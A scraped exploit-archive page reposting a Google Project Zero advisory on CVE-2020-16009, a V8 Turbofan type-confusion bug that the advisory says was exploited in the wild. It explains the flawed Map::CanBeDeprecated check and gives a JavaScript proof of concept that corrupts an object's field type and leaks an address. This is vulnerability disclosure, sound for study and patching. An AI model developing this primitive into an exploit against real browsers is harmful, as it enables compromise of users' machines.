Chrome V8 Turbofan Type Confusion

Authored by saelo, Google Security Research

Posted Nov 9, 2020

Turbofan fails to deoptimize code after map deprecation, leading to a type confusion vulnerability.

tags | exploit
advisories | CVE-2020-16009
SHA-256 | 4675105280cdacd6d7b10a3432235de93f0ad03438e55b1af205dc5e314ff026

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
V8: Turbofan fails to deoptimize code after map deprecation, leading to type confusion

NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7
day disclosure deadline.

VULNERABILITY DETAILS

When turbofan compiles code that performs a Map transition, it usually installs a CodeDependency so that the
resulting code is deoptimized should the target Map ever be deprecated (meaning that the code should now
transition to a different Map). This is done through the TransitionDependencyOffTheRecord function [1]. This
function will only install the dependency if the target Map can be deprecated, which is determined by
Map::CanBeDeprecated [2], shown next

    bool Map::CanBeDeprecated() const {
      for (InternalIndex i : IterateOwnDescriptors()) {
        PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i);
        if (details.representation().IsNone()) return true;
        if (details.representation().IsSmi()) return true;
        if (details.representation().IsDouble() && FLAG_unbox_double_fields)        <---
          return true;
        if (details.representation().IsHeapObject()) return true;
        if (details.kind() == kData && details.location() == kDescriptor) {
          return true;
        }
      }
      return false;
    }

As can be seen, this function assumes that a Map storing only fields of type Double or Tagged can not be
deprecated if FLAG_unbox_double_fields is false, which is the case if pointer compression is enabled (the
default on x64). This appears to be incorrect, as the following code demonstrated:

    // Requires --nomodify-field-representation-inplace

    function poc() {
        function hax(o) {
            o.a = 13.37;
        }

        let o1 = {};
        for (let i = 0; i < 100000; i++) {
            let o = i == 1000 ? {} : o1;
            hax(o);
        }

        let o2 = {};
        o2.a = {};
        // Map1 is now deprecated
        // %HaveSameMap(o2, o1) === false

        let o3 = {};
        hax(o3);
        // o3 was now transitioned to a deprecated map
        %DebugPrint(o3);
        // ...
        //  - deprecated_map
    }
    %NeverOptimizeFunction(poc);
    poc();

This code ends up performing a new transition to a deprecated map.

This bug can be exploited when combined with the in-place field generalization mechanism. In short, the idea is
to

1. JIT compile a function that performs a transition from map1{a:double} to map2{a:double,b:whatever}
2. Deprecate map2. This does not deoptimize the JIT code since map2 was thought to not be deprecatable
3. In-place generalize map1.a to type tagged. This will not also generalize map2 since it is deprecated.
4. Execute the JIT code. This will effectively transition from map1{a:tagged} to map2{a:double,b:whatever},
which is incorrect and results in a type confusion.

The following code achieves that and causes a check failure in debug builds: \"Debug check failed:
value.IsHeapNumber().\" while printing (presumably) an address in release builds.

REPRODUCTION CASE
// Tested on v8 built from current HEAD (dd84c3937058b086b6b7a412ac352179e20bd9c7)
// Requires --allow-natives-syntax

function assert(c) {
    if (!c) { throw \"Assertion failed\"; }
}

function assertFalse(c) {
    assert(!c);
}

function poc() {
    function hax(o) {
        o.c = 13.37;
    }

    function makeObjWithMap5() {
        let o = {};
        o.a = 13.37;
        o.b = {};
        return o
    }

    // Create a bunch of Maps. See the assertions for their relationships

    let m1 = {};

    let m2 = {};
    assert(%HaveSameMap(m2, m1));
    m2.a = 13.37;

    let m3 = {};
    m3.a = 13.37;
    assert(%HaveSameMap(m3, m2));
    m3.b = 1;

    let m4 = {};
    m4.a = 13.37;
    m4.b = 1;
    assert(%HaveSameMap(m4, m3));
    m4.c = {};

    let m4_2 = {};
    m4_2.a = 13.37;
    m4_2.b = 1;
    m4_2.c = {};
    assert(%HaveSameMap(m4_2, m4));
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    let m5 = {};
    m5.a = 13.37;
    assert(%HaveSameMap(m5, m2));
    m5.b = 13.37;
    assertFalse(%HaveSameMap(m5, m3));

    // At this point, Map3 and Map4 are both deprecated. Map2 transitions to Map5.
    // Map5 is the migration target for Map3. The Migration target for Map4 is a new Map
    assertFalse(%HaveSameMap(m5, m3));

    let m6 = makeObjWithMap5();
    assert(%HaveSameMap(m6, m5));
    hax(m6);

    let kaputt = makeObjWithMap5();
    assert(%HaveSameMap(kaputt, m5));

    for (let i = 0; i < 100000; i++) {
        let o = i == 1337 ? makeObjWithMap5() : m6;
        hax(o);
    }

    // Map4 is deprecated, so this property access triggers a Map migration.
    // This will end up creating a new Map, Map7, to which both Map4 and Map6
    // migrate. Map5's transition entry afterwards points to Map7 and no
    // longer to Map6. Map6 is deprecated.
    let m7 = m4_2;
    assert(%HaveSameMap(m7, m4));
    m7.c;
    assertFalse(%HaveSameMap(m7, m4));

    // However, hax was not deoptimized and still transitions to Map6 because
    // Map::CanBeDeprecated returns false for it.

    // This does a in-place map generalization of Map5 and Map7, but not Map6.
    // Map6 still indicates that .a should be a double field.
    kaputt.a = \"asdf\";
    assert(%HaveSameMap(kaputt, m5));

    // This now migrates to the wrong map (Map6) because hax was not deoptimized.
    // This is incorrect because .a now stores a HeapObject and not a double.
    hax(kaputt);

    // This now fails in debug builds
    %HeapObjectVerify(kaputt);

    // This prints (presumably) an address in release builds
    console.log(kaputt.a);
}
%NeverOptimizeFunction(poc);

poc();


CREDIT INFORMATION
Clement Lecigne of Google's Threat Analysis Group and Samuel Gro\u00df of Google Project Zero

NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7
day disclosure deadline.

[1] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/compiler/compilation-
dependencies.cc;l=641;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1
[2] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/objects/map-
inl.h;l=563;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1


Related CVE Numbers: CVE-2020-16009.



Found by: saelo@google.com
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed